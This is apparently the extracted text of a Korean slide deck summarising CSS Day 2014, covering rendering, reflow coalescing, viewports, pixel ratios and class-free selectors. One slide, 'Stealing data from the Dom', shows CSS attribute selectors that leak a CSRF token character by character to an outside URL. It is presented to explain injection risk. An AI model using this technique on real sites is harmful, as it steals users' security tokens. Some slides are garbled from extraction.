1. CSS Day 2014, 4th of June, Amsterdam
NHN Technology Services
UIT개발실 민경환
2. Web Conferences Amsterdam
Organises deep diving web conferences and workshops,
in Amsterdam, with a strong focus on content.
We (PPK, Krijn Hoetmer, Stephen Hay and Martijn van
Duuren) combine deep knowledge of the (mobile) web
with the necessary organisational skills.
3. Conferences so far
dsgnday, @dsgndayconf
CSS Day, @cssdayconf
CSS Day 2014
CSS Day 2013
Mobilism, @mobilismconf
Mobilism 2013
Mobilism 2012
Mobilism 2011
PhoneGap Day EU
PhoneGap Day EU 2013
PhoneGap Day EU 2012
4. #speackers {
Tab Atkins: "layout";
Ana Tudor: "3d transforms";
David Baron: "animations";
Mathias Bynens: "fun facts";
Peter-Paul Koch: "viewports";
Heydon Pickering: "effortless style";
Ethan Marcotte: "responsive design";
}
Our MC, Stephen Hay
38. 렌더링 절차
html, svg, etc
Content Tree
/ Dom Tree
Construct
(incl, selector
matching)
Redering Tree
/ Frame Tree
(incl, Style)
Paint
Layer
Composite
Screen
Script
CSS
Parse
Dom
API
CSSOM
API
40. 렌더 트리 (프레임 트리)
html
head
body
div
h1 p
title
“Web
browser’s p..”
“Web browser’s p..” “This is...”
View port
Scroll
Block
Block
Block
Block Block
Text Text
Document
41. 렌더링 절차
html, svg, etc
Content Tree
/ Dom Tree
Construct
(incl, selector
matching)
Redering Tree
/ Frame Tree
(incl, Style)
Paint
Layer
Composite
Screen
Script
CSS
Parse
Dom
API
CSSOM
API
42. 레이어 트레이드 오프
페이지에 따라 레이어가 성능에 미치는 영향이 다를 수 있다
지속적인 프로파일링을 통해 레이어 생성 시점을 탐색하는 것이 중요하다
• 레이어가 적을 경우
요소를 repaint하는 비용이 많이 발생한다
• 레이어가 많을 경우
메모리를 많이 차지한다
각 요소들의 스타일을 병합하는 비용이 많이 발생한다
레이어로 병합하는 것에 대한 성능은 브라우저마다 다를 수 있다
43. 렌더링 최적화
렌더링 최적화는 렌더링 절차를 최소화 하는 것이다
• 렌더링 최적화가 안된 경우
모든 요소의 Dom style을 다시 계산할 수 있다
• 최적화된 렌더링
전체 렌더링 과정을 생략할 수 있다
부분별 렌더링 과정을 생략할 수 있다
바뀐 부분을 다시 병합할 수 있다
45. 콜레싱 (Coalescing)
특정 요소에 여러번의 리플로우가 필요할 때 매번 실행하지 않고
변경사항에 대한 큐(대기열)를 설정 후 한번만 실행한다
시간이 경과하거나 변경횟수가 도달했을 때 큐(대기열)를 플러시 하기도 한다
• 같은 요소를 두번 변경한 경우
element.style.position = "absolute";
element.style.overflow = "auto";
• 자신을 통해 다른 요소를 핸들링한 경우
element.style.backgroundColor = "aqua";
element.parentNode.style.backgroundColor = "white";
46. 콜레싱 (Coalescing)
특정 스크립트는 리플로우 최적화를 막기도 하고
큐(대기열)를 플러시한 상태인데도 모든 변경사항을 실행한다
• 리플로우 최적화를 방해하는 속성
offset/scroll/client + Top/Left/Width/Height
getComputedStyle() or currentStyle;
• 절대로 하지 말 것
for (var i = 0; i < n; ++i) {
var photo = document.getElementById("photo" + i);
var label = document.getElementById("label" + i);
label.style.top = photo.offsetHeight + "px";
}
51. CSS 애니메이션 특징
CSS 애니메이션은 아래와 같은 특징이 있다
• 스크립트를 사용하지 않아도 된다
• 콜레싱(Coalescing)이 깨질 걱정을 안해도 된다
• opacity, transform 속성 사용시 애니메이션 컴포지터를 사용할 수 있다
• 렌더링 프로세스를 단축할 수 있다
74. Classes and IDs in HTML
##id { }
..class { }
##id.class:hover {} { }
##id.class3A hover {} { }
.[attr=‘value’] { }
#34 04-error { }
아이디나 클래스 명칭은 특수문자로 쓸 수 없다
<p id=”#id”>
<p class=”.class”>
<p id=”#id.class:hover{}”>
<p class=”[attr=‘value’]”>
<p id=”404-error”>
76. Escaping CSS selectors
특수문자로 된 셀렉터는 CSS.escape()속성을 사용한다
var $el = $(‘#’ + CSS.escape(location.hash));
// ...
var $a = $(‘a[href=”’ + CSS.escape(someValue)) +
‘“]’);
// ...
77. Injection contexts
<style>
p { color: <%= USER_COLOR %>;}
</style>
<p>
Hello <%= USER_NAME %>
<a href=” <%= USER_URL %>”>View your account</a>.
</p>
<script>
window.userID = <%= USER_ID %>;
</script>
스타일을 동적으로 관리하기 위해 서버데이터를 받아올 수 있다
78. Stealing data from the Dom
<input type=”hidden”
name=”csrf-token”
id=”csrf”
value=”abcdef...”>
요소의 속성값을 이용해 스타일을 변경할 수 있다
#csrf[value^=”a”] {
background:url(/abc.com/?v=a)
}
#csrf[value^=”b”] {
background:url(/abc.com/?v=b)
}
#csrf[value^=”c”] {
background:url(/abc.com/?v=c)
}
86. 픽셀의 종류
픽셀에는 세종류가 있다
• CSS 픽셀 (CSS Pixel)
CSS픽셀은 우리가 CSS에서 흔히 선언하는 width:190px이나
padding-left:20px과 같은 픽셀 단위이다
• 디바이스 픽셀 (Device Pixel)
디바이스의 물리적 픽셀. 디바이스 종류에 따라 크기는 다를 수 있다
• 밀도 독립 픽셀(Density-independent Pixel)
기기의 물리적 픽셀에 영향받지 않고 독립적 크기를 지정할 수 있는
가상적 픽셀단위이다
88. 뷰포트의 종류
뷰포트에는 두종류가 있다
• 레이아웃 뷰포트(layout viewport)
모바일기기의 기본적으로 레이아웃 뷰포트 사이즈는 768px~1024px 이다.
대부분 980px 사이즈를 많이 사용한다
많은 기술을 이용하여 레이아웃 뷰포트 사이즈를 재정의할 수 있다
• 비주얼 뷰포트 (visual viewport)
전체 페이지에서 현재 화면에 보이는 영역이다
레이아웃 뷰포트를 완전히 zoom out 상태에서 나타낼 수 있는 크기이다
91. 아이디얼 뷰포트(ideal viewport)
모바일 디바이스는 데스크탑과 다르게 아이디얼 뷰포트를 가지고 있다
• 모바일 브라우저 벤더는 모든 웹을 디바이스에 최적화시키려 한다
• 그래서 화면을 키우고 줄이는 수고를 덜 수 있다
• 따라서 사용자는 최적화된 콘텐츠를 읽을 수 있다
• 아이디얼 뷰포트는 디바이스에 최적화된 사이즈를 갖고 있다
• 화면에 보이는 본질적인 width/height 값이다
92. 아이디얼 뷰포트 사이즈 측정
screen.width
screen.height
• 아이디얼 뷰포트
몇몇의 브라우저는 screen.width/height를 아이디얼뷰포트 면적으로 계산한다
하지만 그 외의 브라우저는 디바이스의 픽셀수를 계산한다
93. 메타 뷰포트
메타뷰포트로 레이아웃 뷰포트 사이즈를 아이디얼 뷰포트에 맞게 설정한다
• 픽셀단위의 너비값을 설정할 수 있다 (width=400)
• 아이디얼 뷰포트 사이즈를 넣을 수도 있다
95. 메타 뷰포트 - CSS
CSS로 뷰포트를 설정할 수 있다
오페라에서 최초 개발되었고 현재는 IE10/11만 지원한다
@media screen and (min-width: 640px) and
(max-width: 1024px) {
@-ms-viewport { width: 640px; }
...
}
96. 미디어쿼리
미디어쿼리 사용시 고려해야 할 중요한 두가지가 있다
• device-width (min-device-width and max-device-width)
screen.width와 같은 결과값이다
하지만 몇몇의 기기에선 디바이스의 픽셀수를 나타낸다
• width (min-width and max width)
아이디얼 뷰포트와 동일한 결과값을 얻을 수 있다
@media all and (max-width: 600px) {
...
}
97. 픽셀 비율
디바이스의 픽셀수와 아이디얼 뷰포트 사이즈의 비율을 나타낸다
if (window.devicePixelRatio >= 2)
@media all and (
(-webkit-min-device-pixel-ratio: 2),
(min-resolution: 192dpi),
)
98. key
point
• 레이아웃 뷰포트를 아이디얼 뷰포트에 맞춘다
• 자바스크립트로 뷰포트를 측정할 때 디바이스마다
조금씩 다를 수 있다
• 미디어 쿼리로 사이즈를 지정할 때 고정 사이즈 대신
범위 단위로 선언한다 (min/max-width)
105. 클래스의 남용
시멘틱 마크업을 위해선 클래스 사용을 자제해야한다
• Presentational Markup
• 중복선언이 많아진다
• 다양한 디자인을 표현하기 힘들다
<ul class=”menu”>
<li class=”menu__item”>...</li>
<li class=”menu__item”>...</li>
</ul>
106. 클래스 없이 표현 - HTML
클래스 없이도 요소를 설명할 수 있는 다양한 방법들이 있다
• Role attribute : 요소의 기능 설명한다
• Type attribute : 요소가 나타내는 기능을 지정한다
(form요소, script, embed, param 등)
• Control Types : 폼요소들의 동작 상태를 표시한다
<button role=”시작버튼”>...</button>
<input type=”checkbox”>
<select selected=”selected”>...</select>
107. 클래스 없이 표현 - CSS
CSS엔 클래스외에도 요소를 선택할 수 있는 다양한 셀렉터가 있다
• Relationship selector : 다음요소를 선택할 수 있다
• Attribute selector : 속성 선택자
• nth-child() selector : 수도 클래스이며 n번째 자녀를 선택할 수 있다
button[role=”tab”] {
background-color:
purple;
}
[role=”tab”]
[aria-selected=”true”] {
background-color: white;
color: black;
}
108. #wrap > * + * {
margin-top:20px
}
A “relationship” selector
20px
20px
20px
115. key
point
• 의미에 맞는 태그를 썼으니 클래스는 남용해도
상관없다?
• html 문서 가독성도 시멘틱의 일부이다
• 우리에게 클래스는 마크업 개발자와 프론트엔드
개발자의 영역을 명확하게 구분할 수 있는 중요한
열쇠이다
• 유지보수가 먼저일까? 시멘틱이 먼저일까?